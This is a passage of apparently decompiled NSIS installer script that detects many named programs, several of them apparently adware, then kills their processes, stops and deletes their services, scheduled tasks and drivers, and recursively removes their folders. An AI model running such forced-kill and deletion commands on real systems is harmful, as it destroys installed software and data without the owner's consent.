nsExec::Exec "cmd /k taskkill /IM $\"$R1$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"$R1$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec FindNext $0 $R1 Goto label_16303 label_16311: FindClose $0 nsExec::Exec "cmd /k taskkill /IM $\"recover.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"recover.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM $\"checker.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"checker.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k net stop $\"Update Service for advPlugin$\"" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop $\"Update Service for advPlugin$\"" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k net stop $\"State Tool for Currency calc$\"" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop $\"State Tool for Currency calc$\"" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k net stop $\"Recovery Tool for advPlugin$\"" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop $\"Recovery Tool for advPlugin$\"" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Service for advPlugin" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\State Tool for Currency calc" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Recovery Tool for advPlugin" nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for advPlugin$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for advPlugin$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for advPlugin2$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for advPlugin2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Rerun service for advPlugin$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Rerun service for advPlugin$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Sleep 3000 RMDir /r /REBOOTOK $TEMP\advPlugin_restartonfail_exe RMDir /r /REBOOTOK $PROGRAMFILES\advPlugin label_16358: IfFileExists "$PROGRAMFILES\VK OK AdBlock" 0 label_16381 StrCpy $0 "" FindFirst $0 $R1 "$PROGRAMFILES\VK OK AdBlock\*.exe" label_16361: StrCmp $R1 "" label_16369 nsExec::Exec "cmd /k taskkill /IM $\"$R1$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"$R1$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec FindNext $0 $R1 Goto label_16361 label_16369: FindClose $0 nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for VK OK AdBlock$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for VK OK AdBlock$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for VK OK AdBlock2$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for VK OK AdBlock2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$PROGRAMFILES\VK OK AdBlock" label_16381: IfFileExists $PROGRAMFILES\IconRunner\MoneyBot* 0 label_16389 nsExec::Exec "cmd /k taskkill /IM $\"MoneyBot.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"MoneyBot.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Delete /REBOOTOK $PROGRAMFILES\IconRunner\MoneyBot* Delete /REBOOTOK $PROGRAMFILES\IconRunner\*.vbs label_16389: IfFileExists "$PROGRAMFILES\Youtube AdBlock" 0 label_16414 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Service for Youtube AdBlock" StrCpy $0 "" FindFirst $0 $R1 "$PROGRAMFILES\Youtube AdBlock\*.exe" label_16393: StrCmp $R1 "" label_16401 nsExec::Exec "cmd /k taskkill /IM $\"$R1$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"$R1$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec FindNext $0 $R1 Goto label_16393 label_16401: FindClose $0 nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Youtube AdBlock$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for Youtube AdBlock$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Youtube AdBlock2$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for Youtube AdBlock2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Sleep 3000 RMDir /r /REBOOTOK "$PROGRAMFILES\Youtube AdBlock" label_16414: IfFileExists "$PROGRAMFILES\Torrent Search" 0 label_16444 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Service for Torrent Search" StrCpy $0 "" FindFirst $0 $R1 "$PROGRAMFILES\Torrent Search\*.exe" label_16418: StrCmp $R1 "" label_16426 nsExec::Exec "cmd /k taskkill /IM $\"$R1$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"$R1$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec FindNext $0 $R1 Goto label_16418 label_16426: FindClose $0 nsExec::Exec "cmd /k taskkill /IM ExtensionUpdaterService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ExtensionUpdaterService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Torrent Search$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for Torrent Search$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Torrent Search2$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for Torrent Search2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Sleep 3000 RMDir /r /REBOOTOK "$PROGRAMFILES\Torrent Search" label_16444: IfFileExists $PROGRAMFILES\snipsmart 0 label_16446 RMDir /r /REBOOTOK $PROGRAMFILES\snipsmart label_16446: IfFileExists "$PROGRAMFILES\Object Browser" 0 label_16448 RMDir /r /REBOOTOK "$PROGRAMFILES\Object Browser" label_16448: IfFileExists "$PROGRAMFILES\Dolphin Deals" 0 label_16450 RMDir /r /REBOOTOK "$PROGRAMFILES\Dolphin Deals" label_16450: IfFileExists $PROGRAMFILES\HD-V2.2V06.10 0 label_16452 RMDir /r /REBOOTOK $PROGRAMFILES\HD-V2.2V06.10 label_16452: IfFileExists $LOCALAPPDATA\Microsoft\Windows\system.vbs 0 label_16454 Delete /REBOOTOK $LOCALAPPDATA\Microsoft\Windows\system.vbs label_16454: IfFileExists $TEMP\RarSFX0 0 label_16456 RMDir /r /REBOOTOK $TEMP\RarSFX0 label_16456: IfFileExists $APPDATA\MailUpdate\mailUpdate.exe 0 label_16459 DeleteRegKey HKLM SYSTEM\ControlSet001\services\mailUpdate RMDir /r /REBOOTOK $APPDATA\MailUpdate label_16459: IfFileExists $APPDATA\luckysearches 0 label_16461 RMDir /r /REBOOTOK $APPDATA\luckysearches label_16461: IfFileExists "$PROGRAMFILES\HP Defender" 0 label_16464 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\HHandler Service" RMDir /r /REBOOTOK "$PROGRAMFILES\HP Defender" label_16464: IfFileExists "$PROGRAMFILES\Steel Cut" 0 label_16466 RMDir /r /REBOOTOK "$PROGRAMFILES\Steel Cut" label_16466: IfFileExists "$PROGRAMFILES\COVERT Pro" 0 label_16468 RMDir /r /REBOOTOK "$PROGRAMFILES\COVERT Pro" label_16468: IfFileExists "$PROGRAMFILES\Swift Record" 0 label_16480 nsExec::Exec "cmd /k taskkill /IM 7za.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM 7za.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM SwiftRecord.BrowserAdapter.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM SwiftRecord.BrowserAdapter.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Swift Record" label_16480: IfFileExists $PROGRAMFILES\XTab 0 label_16483 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\IHProtect Service" RMDir /r /REBOOTOK $PROGRAMFILES\XTab label_16483: IfFileExists $PROGRAMFILES\PennyBee 0 label_16486 DeleteRegKey HKLM SYSTEM\ControlSet001\services\PennyBee RMDir /r /REBOOTOK $PROGRAMFILES\PennyBee label_16486: IfFileExists $APPDATA\PennyBee 0 label_16488 RMDir /r /REBOOTOK $APPDATA\PennyBee label_16488: IfFileExists "$PROGRAMFILES\browse pulse" 0 label_16492 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr browsepulse" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr browsepulse" RMDir /r /REBOOTOK "$PROGRAMFILES\browse pulse" label_16492: IfFileExists "$PROGRAMFILES\Digital More" 0 label_16496 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr DigitalMore" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr DigitalMore" RMDir /r /REBOOTOK "$PROGRAMFILES\Digital More" label_16496: IfFileExists $SMSTARTUP\hqghumeaylnlf.lnk 0 label_16498 Delete $SMSTARTUP\hqghumeaylnlf.lnk label_16498: IfFileExists "$SMSTARTUP\MyPC Backup.lnk" 0 label_16500 Delete "$SMSTARTUP\MyPC Backup.lnk" label_16500: IfFileExists $DESKTOP\Setup_product_678.exe 0 label_16502 Delete $DESKTOP\Setup_product_678.exe label_16502: IfFileExists "$PROGRAMFILES\Application Assistance\ap.exe" 0 label_16510 nsExec::Exec "cmd /k taskkill /IM ap.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ap.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Application Assistance" DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run ap label_16510: IfFileExists "$PROGRAMFILES\System Optimizer\SysOptLauncher.exe" 0 label_16518 nsExec::Exec "cmd /k taskkill /IM SysOptLauncher.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM SysOptLauncher.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\System Optimizer" DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run "System Optimizer" label_16518: IfFileExists $PROGRAMFILES\*PaceItUp 0 label_16527 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\*PaceItUp label_16521: StrCmp $R1 "" label_16526 IfFileExists $PROGRAMFILES\$R1 0 label_16524 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 label_16524: FindNext $0 $R1 Goto label_16521 label_16526: FindClose $0 label_16527: IfFileExists $PROGRAMFILES\PathMaxx 0 label_16529 RMDir /r /REBOOTOK $PROGRAMFILES\PathMaxx label_16529: IfFileExists $PROGRAMFILES\*SpeedCheck 0 label_16548 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\*SpeedCheck label_16532: StrCmp $R1 "" label_16547 IfFileExists $PROGRAMFILES\$R1 0 label_16545 nsExec::Exec "cmd /k taskkill /IM SpeedCheck.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM SpeedCheck.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM f4SpeedCheckU13.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM f4SpeedCheckU13.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\$R1 label_16545: FindNext $0 $R1 Goto label_16532 label_16547: FindClose $0 label_16548: IfFileExists $PROGRAMFILES\*CheckMeUp 0 label_16572 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\*CheckMeUp label_16551: StrCmp $R1 "" label_16566 IfFileExists $PROGRAMFILES\$R1 0 label_16564 nsExec::Exec "cmd /k taskkill /IM CheckMeUp.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM CheckMeUp.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Y8CheckMeUpy32.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Y8CheckMeUpy32.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\$R1 label_16564: FindNext $0 $R1 Goto label_16551 label_16566: FindClose $0 nsExec::ExecToStack "schtasks /delete /tn $\"CheckMeUp Update$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"CheckMeUp Update$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack label_16572: IfFileExists "$PROGRAMFILES\Application Assistance\AppHelper.exe" 0 label_16579 nsExec::Exec "cmd /k taskkill /IM AppHelper.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM AppHelper.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Application Assistance" label_16579: IfFileExists "$PROGRAMFILES\IQIYI Video" 0 label_16581 RMDir /r /REBOOTOK "$PROGRAMFILES\IQIYI Video" label_16581: IfFileExists "$APPDATA\IQIYI Video" 0 label_16583 RMDir /r /REBOOTOK "$APPDATA\IQIYI Video" label_16583: IfFileExists "$PROGRAMFILES\Ad Muncher" 0 label_16585 RMDir /r /REBOOTOK "$PROGRAMFILES\Ad Muncher" label_16585: IfFileExists $PROGRAMFILES\Senses\utils.exe 0 label_16587 RMDir /r /REBOOTOK $PROGRAMFILES\Senses label_16587: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr DigitalMore" ImagePath IfErrors label_16601 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_16601 RMDir /r /REBOOTOK $2 label_16601: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr DigitalMore" ImagePath IfErrors label_16615 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_16615 RMDir /r /REBOOTOK $2 label_16615: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr browsepulse" ImagePath IfErrors label_16629 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_16629 RMDir /r /REBOOTOK $2 label_16629: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr browsepulse" ImagePath IfErrors label_16643 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_16643 RMDir /r /REBOOTOK $2 label_16643: IfFileExists $PROGRAMFILES\LinkWiz_* 0 label_16677 StrCpy $0 0 label_16645: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_16677 IntOp $0 $0 + 1 ClearErrors Push $1 Push LinkWiz Call :label_405 Pop $R3 IfErrors label_16645 ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion Push $2 Push . Push _ Call func_179 Pop $3 DeleteRegKey HKLM SYSTEM\ControlSet001\services\lwsvc_$2 DeleteRegKey HKLM SYSTEM\ControlSet001\services\lwnfd_$2 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\lwnfd_$3.sys 0 label_16669 Delete /REBOOTOK $SYSDIR\drivers\lwnfd_$3.sys label_16669: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\lwnfd_$3.sys 0 label_16676 Delete /REBOOTOK $SYSDIR\drivers\lwnfd_$3.sys label_16676: RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_16677: IfFileExists $LOCALAPPDATA\skinapp 0 label_16695 nsExec::ExecToStack "taskkill /IM skinapp.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /IM skinapp.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "taskkill /IM wstyle.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /IM wstyle.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "taskkill /IM cssstyle.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /IM cssstyle.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run skinapp RMDir /r /REBOOTOK $LOCALAPPDATA\skinapp label_16695: IfFileExists $PROGRAMFILES\skinapp 0 label_16709 nsExec::ExecToStack "taskkill /IM wstyle.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /IM wstyle.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "taskkill /IM cssstyle.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /IM cssstyle.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Sleep 2000 DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run skinapp RMDir /r /REBOOTOK $PROGRAMFILES\skinapp label_16709: IfFileExists $WINDIR\skinapp.sys 0 label_16711 Delete /REBOOTOK $WINDIR\skinapp.sys label_16711: IfFileExists $PROGRAMFILES\mystarttb 0 label_16718 nsExec::Exec "cmd /k taskkill /IM ToolbarCleaner.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ToolbarCleaner.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\mystarttb label_16718: IfFileExists $APPDATA\EmailNotifier 0 label_16720 RMDir /r /REBOOTOK $APPDATA\EmailNotifier label_16720: IfFileExists $APPDATA\Mozilla\Extensions\jid1-n5ARdBzHkUEdAA@jetpack 0 label_16723 DeleteRegKey HKLM "SOFTWARE\Mozilla\Firefox\Extensions jid1-n5ARdBzHkUEdAA@jetpack" RMDir /r /REBOOTOK $APPDATA\Mozilla\Extensions\jid1-n5ARdBzHkUEdAA@jetpack label_16723: IfFileExists "$PROGRAMFILES\Video Saver" 0 label_16746 DeleteRegKey HKLM SYSTEM\ControlSet001\services\VideoSaverSvc nsExec::Exec "cmd /k taskkill /IM LocalServer.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM LocalServer.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Service.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Service.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Video Saver$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for Video Saver$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Video Saver2$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for Video Saver2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$PROGRAMFILES\Video Saver" label_16746: IfFileExists "$PROGRAMFILES\Video Saver 2" 0 label_16822 nsExec::Exec "cmd /k sc stop VideoSaverSvc" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc stop VideoSaverSvc" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k sc stop $\"State Tool for Video Saver$\"" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc stop $\"State Tool for Video Saver$\"" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k sc stop $\"Recovery Tool for Video Saver 2$\"" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc stop $\"Recovery Tool for Video Saver 2$\"" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM recover.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM recover.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM checker.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM checker.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Service.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Service.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Runner.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Runner.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM LocalServer.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM LocalServer.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Sleep 3000 DeleteRegKey HKLM SYSTEM\ControlSet001\services\VideoSaverSvc DeleteRegKey HKLM "SYSTEM\ControlSet001\services\State Tool for Video Saver" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Recovery Tool for Video Saver 2" nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Video Saver 2$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for Video Saver 2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Video Saver 22$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for Video Saver 22$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Video Saver2$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for Video Saver2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Video Saver22$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for Video Saver22$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Recovery Tool for Video Saver 2$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Recovery Tool for Video Saver 2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Recovery Tool for Video Saver 22$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Recovery Tool for Video Saver 22$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$PROGRAMFILES\Video Saver 2" label_16822: IfFileExists $PROGRAMFILES64\VideoPlugin 0 label_16872 IfFileExists $PROGRAMFILES64\VideoPlugin\BrowserService label_16826 IfFileExists $PROGRAMFILES64\VideoPlugin\FilterService label_16826 IfFileExists $PROGRAMFILES64\VideoPlugin\UpdateService 0 label_16872 label_16826: nsExec::Exec "cmd /k sc stop VideoPlugin.BrowserService" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc stop VideoPlugin.BrowserService" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k sc stop VideoPlugin.FilterDriver" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc stop VideoPlugin.FilterDriver" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k sc stop VideoPlugin.FilterService" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc stop VideoPlugin.FilterService" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k sc stop VideoPlugin.UpdateService" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc stop VideoPlugin.UpdateService" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM VideoPlugin.BrowserService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM VideoPlugin.BrowserService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll 